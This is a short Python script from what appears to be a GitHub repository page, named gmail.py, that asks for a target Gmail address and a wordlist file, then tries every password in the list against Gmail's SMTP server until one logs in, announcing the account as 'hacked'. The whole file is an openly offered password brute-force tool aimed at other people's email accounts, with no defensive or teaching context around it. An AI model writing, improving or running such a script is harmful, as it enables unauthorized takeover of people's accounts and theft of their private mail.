-
Notifications
You must be signed in to change notification settings - Fork 3
/
Copy pathgmail.py
36 lines (29 loc) · 1.14 KB
/
gmail.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import smtplib
def interact():
gmail = raw_input("Enter Google Email id to hack: ")
pass_list = raw_input("Enter the wordlist path to brute force: ")
print("[+] Locating Google SMTP servers for secure login")
google_server = smtplib.SMTP("smtp.gmail.com", 587)
print("[+] Attempting connection to Google servers: ")
try:
google_server.ehlo()
google_server.starttls()
print("[+] Successfully connected to Gmail SMTP server")
except smtplib.SMTPConnectError:
print("[-] Unable to connect to google servers on Port 587 ")
quit()
try:
pass_list = open(pass_list, 'r')
except IOError:
print("[-] File not found\n\n[+] Exiting ...")
quit()
print("[+] Brute force started on " + gmail + "\n")
for pwd in pass_list:
try:
google_server.login(gmail, pwd)
print("\n\n\t[+]Successfully hacked , password is " + pwd + "\n\n")
quit()
except smtplib.SMTPAuthenticationError:
print("[-] Trying password :\t" + pwd)
print("[-] Failed to hack Gmail : " + gmail)
quit()